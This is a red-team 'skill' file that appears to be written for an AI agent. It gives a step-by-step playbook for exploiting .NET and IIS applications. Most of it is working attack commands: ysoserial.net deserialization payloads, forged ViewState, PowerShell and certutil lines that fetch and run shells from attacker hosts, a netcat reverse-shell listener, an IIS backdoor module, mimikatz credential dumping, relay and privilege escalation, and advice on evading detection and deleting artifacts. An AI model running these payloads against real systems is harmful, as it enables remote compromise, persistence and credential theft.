---
name: rt-exploit-dotnet
description: ".NET and C# application exploitation skill. Covers .NET deserialization with ysoserial.net (BinaryFormatter, DataContractSerializer, Json.Net, LosFormatter), ViewState exploitation when MachineKey is known, LINQ injection, ASP.NET core path traversal, and IIS-specific misconfigurations. Targets ASP.NET MVC, .NET Core, WCF services."
---

# rt-exploit-dotnet — .NET Application Exploitation

## 1. Overview and When to Use

This skill covers offensive exploitation of the Microsoft .NET ecosystem, targeting ASP.NET MVC applications, .NET Core services, WCF endpoints, and IIS-hosted applications. The attack surface is broad and well-documented, with mature tooling available.

**Use this skill when you identify:**
- ASP.NET or .NET Core web applications (X-Powered-By, X-AspNet-Version headers, `.aspx`/`.asmx` endpoints)
- ViewState present in HTML source (base64 blob in `__VIEWSTATE` field)
- WCF WSDL endpoints (`?wsdl`, `?singleWsdl`)
- IIS as the web server (Server: Microsoft-IIS/x.x)
- JSON/XML APIs accepting serialized objects
- Error pages leaking stack traces with namespace hints
- Known MachineKey from leaked config files (`web.config`, `applicationHost.config`)

**Primary objectives:** Remote Code Execution (RCE), SSRF, file read, privilege escalation from IIS AppPool identity.

---

## 2. Prerequisites and Setup

### Required Tools

```bash
# ysoserial.net — primary .NET deserialization tool (Windows only)
# Download release binary from GitHub
https://github.com/pwntester/ysoserial.net/releases

# Alternatively, build from source (requires .NET Framework 4.5+)
git clone https://github.com/pwntester/ysoserial.net
cd ysoserial.net
msbuild ysoserial.sln /p:Configuration=Release

# ExploitDotNet — Python wrapper for ysoserial payloads
pip install pwntools requests

# ViewGen — ViewState MAC bypass / generation tool
git clone https://github.com/0xacb/viewgen
cd viewgen && pip install -r requirements.txt

# IIS ShortName Scanner
git clone https://github.com/irsdl/IIS-ShortName-Scanner
# Requires Java: java -jar iis_shortname_scanner.jar

# blacklist3r — MachineKey finder from patched/decompiled config
https://github.com/NotSoSecure/Blacklist3r

# dotnet-deserialization-detector (Burp extension)
# Load via Burp Extender > BApp Store

# Impacket for relay attacks post-RCE
pip install impacket

# PowerShell Empire / Covenant for .NET agent staging
# Covenant: https://github.com/cobbr/Covenant
```

### Environment Requirements

| Requirement | Notes |
|---|---|
| Windows VM | ysoserial.net requires Windows or Mono |
| .NET Framework 4.5+ | For building/running ysoserial.net |
| Java 8+ | IIS ShortName Scanner |
| Python 3.8+ | viewgen, automation scripts |
| Burp Suite Pro | Repeater, Intruder, extensions |
| Network access to target | Direct or via SOCKS proxy |

### Reconnaissance Prerequisites

Before running exploits, confirm:
1. .NET version (from headers, error pages, Wappalyzer)
2. IIS version (Server header)
3. Application framework (MVC, Web Forms, Core, WCF)
4. Serialization format in use (binary, JSON, XML)
5. Whether debug mode is enabled (`?debug=true` or `customErrors="Off"`)

---

## 3. Skill Levels

### BEGINNER — Enumeration and Identification

Goals: Confirm .NET target, identify attack surface, no exploitation yet.

```bash
# Identify .NET application via HTTP headers
curl -I https://target.com/
# Look for: X-Powered-By: ASP.NET, X-AspNet-Version, X-AspNetMvc-Version, Server: Microsoft-IIS

# Find ViewState in HTML source
curl -s https://target.com/login.aspx | grep -i "viewstate"

# Detect debug mode
curl -s "https://target.com/trace.axd"
curl -s "https://target.com/elmah.axd"

# Enumerate .NET-specific endpoints
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt \
  -mc 200,301,302,401,403 -o dotnet_enum.json

# Detect WCF services
ffuf -u https://target.com/FUZZ.svc -w wordlist.txt -mc 200,400

# Check for exposed web.config (should be blocked by IIS but misconfigured servers)
curl -s https://target.com/web.config
curl -s https://target.com/.git/config
curl -s https://target.com/app_code/web.config

# Check global.asax for namespace hints
curl -s https://target.com/global.asax

# Wappalyzer equivalent via whatweb
whatweb -a 3 https://target.com
```

### INTERMEDIATE — ViewState and Configuration Attacks

Goals: Exploit ViewState with known MachineKey, extract credentials, enumerate IIS short filenames.

```bash
# Step 1: Find MachineKey — search leaked configs, default keys databases
# Common default MachineKeys:
# - Kentico CMS
# - Umbraco
# - Sitefinity
# Check: https://github.com/NotSoSecure/Blacklist3r/blob/master/AspDotNetWrapper/AspDotNetWrapper/App_Data/MachineKeys.txt

# Step 2: Validate MachineKey with viewgen
python3 viewgen.py --check --key "validationkey_here" --algo SHA1 \
  --modifier "CA0B0334" "BASE64_VIEWSTATE_FROM_APP=="

# Step 3: Generate malicious ViewState payload
python3 viewgen.py --webconfig web.config --command "ping attacker.com"
# Or with explicit key:
python3 viewgen.py --key "AAAAAAAAAAAAAAAA" --algo SHA1 --modifier "CA0B0334" \
  --command "powershell -enc BASE64PAYLOAD"

# IIS Short Filename Enumeration (8.3 format)
java -jar iis_shortname_scanner.jar 2 20 https://target.com/
# Reveals files like: TRANSC~1.ASP, WEBCON~1.XML

# ASP.NET debug mode check — enables trace.axd
curl -s "https://target.com/trace.axd" | grep -i "request details"

# HTTP.sys path traversal (CVE-2021-31166 and others)
curl -v --path-as-is "https://target.com/./././././././././././windows/win.ini"

# Enumerate ASP.NET MVC routes via OPTIONS
curl -X OPTIONS https://target.com/api/values
```

### ADVANCED — Deserialization RCE

Goals: Achieve RCE via unsafe deserialization using ysoserial.net.

```bash
# Generate BinaryFormatter payload (most dangerous, commonly used in SOAP/Remoting)
.\ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -o base64 -c "cmd /c ping attacker.com"

# Generate Json.Net payload
.\ysoserial.exe -f Json.Net -g ObjectDataProvider \
  -o raw -c "cmd /c whoami > C:\inetpub\wwwroot\out.txt"

# Generate DataContractSerializer payload
.\ysoserial.exe -f DataContractSerializer -g TypeConfuseDelegate \
  -o base64 -c "powershell -enc <BASE64>"

# Generate LosFormatter payload (used in WebForms ViewState without MAC validation)
.\ysoserial.exe -f LosFormatter -g TextFormattingRunProperties \
  -o base64 -c "cmd /c whoami"

# Generate SoapFormatter payload (WCF / legacy)
.\ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate \
  -o raw -c "cmd /c calc.exe"

# Generate ViewState exploit payload with MachineKey
.\ysoserial.exe -f ViewState -g TextFormattingRunProperties \
  -o base64 -c "cmd /c whoami" \
  --validationalg="SHA1" \
  --validationkey="YOUR_VALIDATIONKEY_HEX" \
  --generator="CA0B0334" \
  --viewstateuserkey="" \
  --isdebug=false
```

### EXPERT — Chained Attacks and Persistence

Goals: Full compromise, lateral movement, persistence via IIS modules, DPAPI secrets extraction.

```bash
# IIS native module backdoor (requires admin, for persistence)
# Compile malicious native IIS module then:
appcmd install module /name:BackdoorModule /image:C:\path\to\backdoor.dll

# Extract DPAPI machine secrets from IIS AppPool context
# After RCE as IIS AppPool identity:
mimikatz # privilege::debug
mimikatz # sekurlsa::dpapi
mimikatz # dpapi::cng

# NTLM relay from IIS AppPool (if running as Network Service)
# Trigger outbound connection from server:
# Use RCE to run: net use \\attacker.com\share
# On attacker: responder -I eth0 -rdwv

# Constrained delegation abuse if IIS service account has delegation rights
python3 getST.py -spn http/target.com -impersonate Administrator domain/svcaccount:password

# Extract connection strings from web.config post-RCE
type C:\inetpub\wwwroot\web.config | findstr /i "connectionstring password"

# Dump IIS application pool credentials
appcmd list apppool /processModel.userName /processModel.password /text:*

# ASP.NET Core appsettings.json secrets
type C:\inetpub\wwwroot\appsettings.json
type C:\inetpub\wwwroot\appsettings.Production.json
```

---

## 4. Step-by-Step Workflow

### Phase 1: Fingerprinting

1. Send initial request, capture response headers
2. Note: `Server`, `X-Powered-By`, `X-AspNet-Version`, `X-AspNetMvc-Version`
3. Check HTML source for `__VIEWSTATE`, `__EVENTVALIDATION`, `__VIEWSTATEGENERATOR`
4. Spider application for `.aspx`, `.asmx`, `.svc`, `.ashx` endpoints
5. Submit 404 for a non-existent `.aspx` to get IIS error page (reveals version)
6. Check `robots.txt`, `sitemap.xml`, `/swagger`, `/api/docs`

### Phase 2: Configuration Leak Hunting

7. Attempt access to `web.config`, `applicationHost.config`, `machine.config`
8. Check common backup paths: `web.config.bak`, `web.config.old`, `web.config~`
9. Search GitHub/GitLab for leaked configs using dorks:
   ```
   org:target filename:web.config machineKey
   org:target filename:appsettings.json connectionString
   ```
10. Run Blacklist3r against known default MachineKey databases
11. Check ASP.NET error pages for `customErrors="Off"` — reveals stack traces

### Phase 3: Attack Surface Mapping

12. Identify all deserialization entry points:
    - ViewState POST parameters
    - `__VIEWSTATE` hidden fields
    - JSON API endpoints accepting complex objects
    - WCF SOAP endpoints
    - Binary endpoints (Content-Type: application/octet-stream)
13. Test for LINQ injection on filter/search parameters
14. Test path traversal on file download endpoints
15. Run IIS Short Filename Scanner

### Phase 4: Exploitation

16. If MachineKey found: generate ViewState payload with ysoserial.net
17. If JSON deserialization: generate Json.Net/Newtonsoft payload
18. If binary endpoint: generate BinaryFormatter payload
19. If WCF: generate SoapFormatter/DataContractSerializer payload
20. Deliver payload, confirm OOB callback (DNS/HTTP to Burp Collaborator)

### Phase 5: Post-Exploitation

21. Upgrade to stable shell (Covenant/.NET agent, meterpreter)
22. Extract connection strings, API keys from config files
23. Enumerate AppPool identity privileges
24. Check for DPAPI-encrypted secrets
25. Assess lateral movement opportunities

---

## 5. Terminal Commands — Annotated

### ysoserial.net Full Command Reference

```bash
# List all available gadget chains
.\ysoserial.exe --list

# List all formatters
.\ysoserial.exe -f list

# BinaryFormatter — most widely applicable
# -f: formatter, -g: gadget chain, -o: output format, -c: command
.\ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 \
  -c "cmd /c powershell -nop -w hidden -enc SQBFAFgA..."

# Json.Net (Newtonsoft.Json) — very common in .NET APIs
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw \
  -c "cmd /c whoami > C:\Windows\Temp\out.txt"

# DataContractSerializer — WCF, XML APIs
.\ysoserial.exe -f DataContractSerializer -g TypeConfuseDelegate \
  -o base64 -c "cmd /c certutil -urlcache -f http://attacker.com/shell.exe C:\Windows\Temp\shell.exe && C:\Windows\Temp\shell.exe"

# DataContractJsonSerializer
.\ysoserial.exe -f DataContractJsonSerializer -g ObjectDataProvider \
  -o raw -c "cmd /c whoami"

# LosFormatter — ASP.NET WebForms (no MachineKey required if MAC disabled)
.\ysoserial.exe -f LosFormatter -g TextFormattingRunProperties \
  -o base64 -c "cmd /c calc"

# SoapFormatter — legacy remoting, WCF
.\ysoserial.exe -f SoapFormatter -g TypeConfuseDelegate -o raw \
  -c "cmd /c whoami"

# XmlSerializer
.\ysoserial.exe -f XmlSerializer -g ObjectDataProvider -o raw \
  -c "cmd /c whoami"

# NetDataContractSerializer
.\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate \
  -o base64 -c "cmd /c whoami"

# ViewState with MachineKey (ASP.NET WebForms)
.\ysoserial.exe -f ViewState -g TextFormattingRunProperties -o base64 \
  -c "cmd /c whoami" \
  --validationalg="SHA1" \
  --validationkey="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
  --generator="CA0B0334" \
  --viewstateuserkey="" \
  --isdebug=false

# With HMACSHA256 (newer applications)
.\ysoserial.exe -f ViewState -g TextFormattingRunProperties -o base64 \
  -c "cmd /c whoami" \
  --validationalg="HMACSHA256" \
  --validationkey="VALIDATIONKEY" \
  --decryptionalg="AES" \
  --decryptionkey="DECRYPTIONKEY" \
  --generator="CA0B0334"

# Plugin mode — for custom plugin gadgets
.\ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 \
  -c "cmd /c whoami" --plugin=Dll --plugin-arg="C:\path\to\plugin.dll"
```

### viewgen Commands

```bash
# Check if a ViewState was generated with a known key
python3 viewgen.py --check --key "validationkey" --algo SHA1 \
  --modifier "CA0B0334" "AAAA...base64viewstate...=="

# Generate exploit ViewState from web.config
python3 viewgen.py --webconfig web.config --command "cmd /c whoami"

# Generate with explicit parameters
python3 viewgen.py --key "VALIDATIONKEY" --algo SHA1 \
  --modifier "CA0B0334" --command "ping 10.10.10.10"

# Decode existing ViewState (no exploit)
python3 viewgen.py --decode "AAAA...base64...=="
```

### IIS Enumeration Commands

```bash
# IIS Short Filename Scanner
java -jar iis_shortname_scanner.jar 2 20 https://target.com/
# Arguments: <threads> <timeout> <url>
# Output: AAAABB~1.ASP → reveals files starting with AAAABB

# Extended scan with custom wordlist
java -jar iis_shortname_scanner.jar 2 20 https://target.com/ custom_headers.xml

# HTTP.sys vulnerabilities — check IIS version first
# CVE-2015-1635 (MS15-034) — IIS 7.5, 8.0, 8.5
curl -H "Range: bytes=0-18446744073709551615" https://target.com/

# CVE-2021-31166 — IIS 10.0 HTTP Protocol Stack RCE
# Send malformed Accept-Encoding header:
curl -H "Accept-Encoding: aaaaaaaa\r\n\tbbbbbbbb" https://target.com/

# Check IIS handler mappings (if admin access)
appcmd list handlers

# Enumerate application pools
appcmd list apppool

# Check IIS detailed errors (useful for info leak)
curl "https://target.com/nonexistent_page_that_doesnt_exist_12345.aspx"
```

### ASP.NET Debug and Trace

```bash
# Check trace.axd (exposes all HTTP requests if debug=true)
curl -s "https://target.com/trace.axd"
curl -s "https://target.com/trace.axd?id=1"  # specific request

# ELMAH error log (common misconfiguration)
curl -s "https://target.com/elmah.axd"
curl -s "https://target.com/elmah.axd?aspxerrorpath=/error"

# ScriptResource.axd — reveals framework versions
curl -s "https://target.com/ScriptResource.axd?d=AAAA"

# WebResource.axd
curl -s "https://target.com/WebResource.axd?d=AAAA&t=638000000000000000"

# ASP.NET health monitoring
curl -s "https://target.com/HealthMonitoringReport.axd"
```

---

## 6. Payload Examples with Explanations

### 6.1 BinaryFormatter RCE Payload

**Context:** SOAP endpoint, .NET Remoting, or any binary deserialization sink accepting BinaryFormatter-formatted data.

```bash
# Generate base64-encoded BinaryFormatter payload
.\ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 \
  -c "cmd /c powershell -nop -exec bypass -w hidden IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/shell.ps1')"
```

**Explanation:**
- `-f BinaryFormatter`: Uses .NET's BinaryFormatter class for serialization
- `-g TypeConfuseDelegate`: Gadget chain that abuses delegate type confusion to execute arbitrary code
- `-o base64`: Output as base64 string (suitable for HTTP POST body)
- `-c`: Command to execute when deserialized on server

**Delivery:**
```bash
# Inject into SOAP request
curl -X POST https://target.com/service.asmx \
  -H "Content-Type: application/soap+xml; charset=utf-8" \
  -H "SOAPAction: http://tempuri.org/IService/GetData" \
  -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"><soap:Body><GetData xmlns="http://tempuri.org/"><value>BINARYFORMATTER_BASE64_PAYLOAD</value></GetData></soap:Body></soap:Envelope>'

# Or inject into binary endpoint directly
python3 -c "
import requests, base64
payload = 'AAEC...base64...'
data = base64.b64decode(payload)
r = requests.post('https://target.com/api/deserialize',
    data=data,
    headers={'Content-Type': 'application/octet-stream'})
print(r.status_code, r.text[:500])
"
```

### 6.2 Json.Net (Newtonsoft) Payload

**Context:** .NET Core APIs, JSON endpoints where TypeNameHandling is set to All or Objects.

```bash
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw \
  -c "cmd /c whoami > C:\inetpub\wwwroot\pwned.txt"
```

**Raw output (inject directly into JSON field):**
```json
{
    "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName": "Start",
    "MethodParameters": {
        "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "$values": ["cmd", "/c whoami > C:\\inetpub\\wwwroot\\pwned.txt"]
    },
    "ObjectInstance": {
        "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
    }
}
```

**Delivery:**
```bash
# Test if TypeNameHandling is enabled by sending $type field
curl -X POST https://target.com/api/update \
  -H "Content-Type: application/json" \
  -d '{"$type":"System.Object, mscorlib","name":"test"}'
# If 500 error with type-related message: vulnerable!

# Deliver payload
curl -X POST https://target.com/api/deserialize \
  -H "Content-Type: application/json" \
  -d @payload.json
```

### 6.3 ViewState with MachineKey

**Context:** ASP.NET WebForms where MachineKey has been obtained from leaked web.config.

```bash
# MachineKey from leaked web.config:
# <machineKey validationKey="AABBCC..." decryptionKey="DDEEFF..." validation="SHA1" />

# Step 1: Extract generator ID from page source
curl -s https://target.com/default.aspx | grep "__VIEWSTATEGENERATOR" | grep -oP 'value="\K[^"]+'
# Example output: CA0B0334

# Step 2: Generate malicious ViewState
.\ysoserial.exe -f ViewState -g TextFormattingRunProperties -o base64 \
  -c "cmd /c powershell -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAY..." \
  --validationalg="SHA1" \
  --validationkey="AABBCCDDEEFF00112233445566778899AABBCCDDEEFF001122334455667788" \
  --generator="CA0B0334" \
  --viewstateuserkey="" \
  --isdebug=false

# Step 3: Submit payload in __VIEWSTATE POST parameter
curl -X POST https://target.com/default.aspx \
  -d "__VIEWSTATE=GENERATED_PAYLOAD_BASE64==&__VIEWSTATEGENERATOR=CA0B0334&__EVENTVALIDATION=...&Button1=Submit" \
  -b "ASP.NET_SessionId=abc123"
```

**Explanation of ViewState fields:**
- `--validationalg`: HMAC algorithm used (SHA1, SHA256, HMACSHA256, AES)
- `--validationkey`: Key from machineKey element in web.config
- `--generator`: Page-specific modifier from `__VIEWSTATEGENERATOR` hidden field
- `--viewstateuserkey`: If app sets `Page.ViewStateUserKey` (usually session ID or username)
- `--isdebug`: Set true only if page has `trace="true"` in @Page directive

### 6.4 LosFormatter Payload (No MAC Required)

**Context:** WebForms with ViewState MAC validation disabled (`EnableViewStateMac="false"` or legacy applications).

```bash
# Generate LosFormatter payload
.\ysoserial.exe -f LosFormatter -g TextFormattingRunProperties -o base64 \
  -c "cmd /c whoami"

# If MAC is disabled, submit directly in __VIEWSTATE
# No key required — most dangerous misconfiguration
```

### 6.5 WCF DataContractSerializer Payload

**Context:** WCF services accepting complex types via XML or JSON.

```bash
# Generate payload
.\ysoserial.exe -f DataContractSerializer -g TypeConfuseDelegate \
  -o raw -c "cmd /c certutil -urlcache -f http://10.10.10.10/nc.exe C:\Windows\Temp\nc.exe"

# Wrap in SOAP envelope for WCF
# The payload goes in the deserialization target parameter
```

**Raw XML payload structure:**
```xml
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <!-- ysoserial.net generates this automatically -->
</root>
```

---

## 7. Tool Commands with Flags Explained

### ysoserial.net Flags

| Flag | Description | Example |
|---|---|---|
| `-f` | Formatter (serialization format) | `-f BinaryFormatter` |
| `-g` | Gadget chain (exploitation path) | `-g TypeConfuseDelegate` |
| `-o` | Output format: raw, base64, hex | `-o base64` |
| `-c` | Command to execute | `-c "cmd /c whoami"` |
| `--validationalg` | HMAC algorithm for ViewState | `--validationalg SHA1` |
| `--validationkey` | Hex validation key | `--validationkey AABB...` |
| `--decryptionkey` | Hex decryption key | `--decryptionkey CCDD...` |
| `--decryptionalg` | Encryption algorithm | `--decryptionalg AES` |
| `--generator` | ViewState generator ID | `--generator CA0B0334` |
| `--viewstateuserkey` | Per-user ViewState key | `--viewstateuserkey ""` |
| `--isdebug` | Debug mode flag | `--isdebug false` |
| `--minify` | Minimize payload size | `--minify` |
| `--ust` | Use SimpleTypeAssemblyQualified | `--ust` |
| `--plugin` | Plugin gadget chain | `--plugin Dll` |

### Available Gadget Chains

```bash
# List all available gadgets
.\ysoserial.exe --list

# Key gadgets and their applicability:
# TypeConfuseDelegate      — BinaryFormatter, SoapFormatter, NetDataContractSerializer
# ObjectDataProvider       — Json.Net, DataContractSerializer, XmlSerializer
# TextFormattingRunProperties — LosFormatter, ViewState, BinaryFormatter
# ActivitySurrogateSelectorFromFile — BinaryFormatter (file-based)
# PSObject                 — BinaryFormatter with PowerShell
# WindowsIdentity          — Json.Net alternative
# SessionSecurityToken     — WCF / DataContractSerializer
# RolePrincipal            — DataContractSerializer
```

### Blacklist3r (MachineKey Finder)

```bash
# Scan known ViewState against database of default keys
.\AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata "BASE64VIEWSTATE==" \
  --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath="/" \
  --test

# Output will show matching key if found in database
```

### IIS ShortName Scanner

```bash
# Basic scan
java -jar iis_shortname_scanner.jar 2 20 https://target.com/

# With proxy (route through Burp)
java -Dhttps.proxyHost=127.0.0.1 -Dhttps.proxyPort=8080 \
  -jar iis_shortname_scanner.jar 2 20 https://target.com/

# Custom path prefix
java -jar iis_shortname_scanner.jar 2 20 https://target.com/upload/

# Output interpretation:
# [+] File: AAAABB~1.ASP → file starting with AAAABB, ending .asp
# [+] Dir:  UPLOAD~1     → directory starting with UPLOAD
```

---

## 8. Real-World Attack Scenarios

### Scenario A: External ASP.NET MVC Application with Leaked web.config

**Setup:** Corporate .NET MVC portal exposed externally. Developer accidentally committed `web.config` to a public GitHub repo containing the MachineKey.

```bash
# Step 1: Find leaked config via GitHub dork
# site:github.com "validationKey" "decryptionKey" "machineKey" "target.com"
# Or search company org:
# org:targetcorp filename:web.config machineKey

# Step 2: Extract keys
# <machineKey validationKey="A8F3A1..." decryptionKey="B7E2C9..." validation="SHA1" decryption="AES" />

# Step 3: Capture live ViewState from login page
curl -s https://portal.target.com/Account/Login | grep -oP '__VIEWSTATE[^<]+value="\K[^"]+' > viewstate.txt
curl -s https://portal.target.com/Account/Login | grep -oP '__VIEWSTATEGENERATOR[^<]+value="\K[^"]+' > generator.txt

# Step 4: Generate exploit payload
.\ysoserial.exe -f ViewState -g TextFormattingRunProperties -o base64 \
  -c "powershell -nop -w hidden -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMAAuADEAMQAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" \
  --validationalg="SHA1" \
  --validationkey="A8F3A1..." \
  --decryptionkey="B7E2C9..." \
  --decryptionalg="AES" \
  --generator="CA0B0334" \
  --viewstateuserkey=""

# Step 5: Start listener
python3 -m http.server 80  # serve shell.ps1
nc -lvnp 4444              # catch reverse shell

# Step 6: Submit exploit
curl -X POST https://portal.target.com/Account/Login \
  -b "ASP.NET_SessionId=<captured_session>" \
  -d "__VIEWSTATE=EXPLOIT_PAYLOAD==&__VIEWSTATEGENERATOR=CA0B0334&__EVENTVALIDATION=LEGIT==&ctl00%24MainContent%24LoginUser%24UserName=admin&ctl00%24MainContent%24LoginUser%24Password=test&ctl00%24MainContent%24LoginUser%24LoginButton=Log+in"

# Step 7: Verify RCE via OOB
# Check Burp Collaborator / interactsh for DNS/HTTP callback
```

**Post-exploitation:**
```bash
# Extract DB connection strings
type C:\inetpub\wwwroot\web.config | findstr /i "data source password"

# Check AppPool identity
whoami /all

# Dump LSASS if SYSTEM (unlikely from IIS AppPool, but check)
# More likely: extract secrets from config and pivot to DB
```

### Scenario B: Internal WCF Service with DataContractSerializer

**Setup:** Internal microservice discovered during network pivot. Accepts XML via HTTP POST. Stack traces reveal `DataContractSerializer` usage.

```bash
# Step 1: Discover WCF service
nmap -p 80,443,8080,8443,8000,9000 10.10.10.0/24 --open -oN wcf_scan.txt
curl -s http://10.10.10.55:8080/?wsdl

# Step 2: Analyze WSDL for operation names and data types
curl -s "http://10.10.10.55:8080/DataService.svc?wsdl" > service.wsdl
# Look for: <xs:element name="..."> with complex type parameters

# Step 3: Trigger error to confirm DataContractSerializer
curl -X POST http://10.10.10.55:8080/DataService.svc \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: http://tempuri.org/IDataService/ProcessData" \
  -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><ProcessData xmlns="http://tempuri.org/"><data>INVALID_XML_DATA</data></ProcessData></soap:Body></soap:Envelope>'
# Error: "DataContractSerializer encountered..." confirms vulnerability

# Step 4: Generate payload
.\ysoserial.exe -f DataContractSerializer -g TypeConfuseDelegate \
  -o base64 -c "cmd /c powershell -exec bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.10/payload.ps1')\""

# Step 5: Wrap in SOAP and deliver
# The base64 payload goes where the serialized data parameter is expected
curl -X POST http://10.10.10.55:8080/DataService.svc \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H "SOAPAction: http://tempuri.org/IDataService/Deserialize" \
  -d "$(cat soap_payload.xml)"
```

### Scenario C: Public-Facing .NET Core API with Newtonsoft TypeNameHandling

**Setup:** REST API using Newtonsoft.Json with `TypeNameHandling.All` for polymorphic serialization. API accepts complex objects at `/api/workflow/execute`.

```bash
# Step 1: Identify endpoint and confirm JSON deserialization
curl -X POST https://api.target.com/api/workflow/execute \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer LEAKED_JWT_TOKEN" \
  -d '{"type":"test","data":{"$type":"System.Object, mscorlib"}}'
# 500 error with type reference = potential TypeNameHandling vulnerability

# Step 2: Generate Json.Net payload
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw \
  -c "cmd /c nslookup callback.burpcollaborator.net"
# Verify via DNS callback first before RCE

# Step 3: Deliver OOB test
curl -X POST https://api.target.com/api/workflow/execute \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer LEAKED_JWT_TOKEN" \
  -d @oob_test_payload.json

# Step 4: If DNS callback received, escalate to RCE
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw \
  -c "cmd /c certutil -urlcache -f http://10.10.10.10/shell.exe %TEMP%\s.exe && %TEMP%\s.exe"

curl -X POST https://api.target.com/api/workflow/execute \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer LEAKED_JWT_TOKEN" \
  -d @rce_payload.json

# Step 5: .NET Core post-exploitation — find secrets
# appsettings.json, environment variables, Azure Key Vault references
find /app -name "appsettings*.json" 2>/dev/null
env | grep -i "connectionstring\|password\|secret\|key\|token"
```

---

## 9. Detection and OPSEC Considerations

### Blue Team Detection Points

| Action | Detection Indicator | Evasion |
|---|---|---|
| ViewState payload submission | WAF signatures on known gadget chain bytes | Encode payload, use less-known gadget chains |
| Large ViewState in POST | Size anomaly detection | Keep payload minimal with `--minify` |
| ysoserial.net payloads | IDS signatures on TypeConfuseDelegate bytes | Custom gadget chains, obfuscation |
| IIS ShortName scan | Burst of 404s with `~` in URL | Slow scan, reduce threads |
| trace.axd / elmah.axd access | WAF / IDS rules for diagnostic endpoints | Access during normal business hours |
| SSRF/OOB DNS callbacks | DNS monitoring on internal resolvers | Use ICMP or time-delay confirmation |
| Unusual AppPool process spawning | Windows Event 4688 (process creation) | Parent process injection instead of cmd.exe |
| WCF deserialization | Content inspection on port 8080/8443 | Use encrypted WCF binding if available |

### OPSEC Best Practices

```bash
# 1. Always test OOB (DNS/HTTP) BEFORE executing commands
.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw \
  -c "cmd /c nslookup RANDOMID.burpcollaborator.net"
# Never run blind RCE first

# 2. Use certutil for file download (LOLBin, less suspicious)
certutil -urlcache -split -f http://attacker.com/shell.exe %TEMP%\update.exe

# 3. Prefer PowerShell download cradles over cmd.exe
powershell -nop -w hidden -c "IEX(IWR 'http://attacker.com/s.ps1' -UseBasicParsing)"

# 4. Target %TEMP% or user profile for file drops, not C:\Windows\
# IIS AppPool typically writes to: C:\Windows\Temp, C:\inetpub\wwwroot

# 5. Clean artifacts
del %TEMP%\*.exe
# Or instruct payload to self-delete after execution

# 6. Avoid writing to web root if possible (triggers file monitoring)
# If needed for verification: use unique filename, delete immediately

# 7. Route exploits through Burp proxy for full logging
.\ysoserial.exe ... | burp_submit.py --proxy http://127.0.0.1:8080

# 8. Check if application has WAF (ModSecurity, CloudFlare, Imperva)
curl -H "X-Scanner: test" https://target.com/  # observe WAF headers
# If WAF present: use chunked transfer encoding, parameter pollution

# 9. For ViewState — submit during legitimate session flow
# Login first, capture session cookies, then inject payload as authenticated user
```

### IIS AppPool Privilege Context

```bash
# After RCE, determine identity immediately:
whoami
# Common: IIS APPPOOL\AppPoolName (limited privileges)
# Less common: NETWORK SERVICE, LOCAL SERVICE
# Rare (misconfiguration): NT AUTHORITY\SYSTEM

# Check SeImpersonatePrivilege — enables Potato attacks
whoami /priv
# If SeImpersonatePrivilege: Enabled → run PrintSpoofer / GodPotato for SYSTEM

# GodPotato for privilege escalation
.\GodPotato.exe -cmd "cmd /c whoami"
```

---

## 10. Output and Documentation

### Required Evidence for Report

For each successful deserialization exploit, document:

1. **Vulnerable endpoint:** Full URL, HTTP method, parameter name
2. **Serialization format:** BinaryFormatter / Json.Net / ViewState / etc.
3. **Gadget chain used:** TypeConfuseDelegate / ObjectDataProvider / etc.
4. **Proof of RCE:** Screenshot of command output, DNS callback log
5. **MachineKey source:** Where the key was obtained (leaked config, GitHub, default)
6. **Impact:** AppPool identity, accessible resources, escalation path
7. **CVSS score calculation**

### Artifact Collection Commands

```bash
# Capture HTTP request/response (already in Burp, but also save raw)
# From Burp: Right-click > Save Item

# Save ysoserial.net command for reproducibility
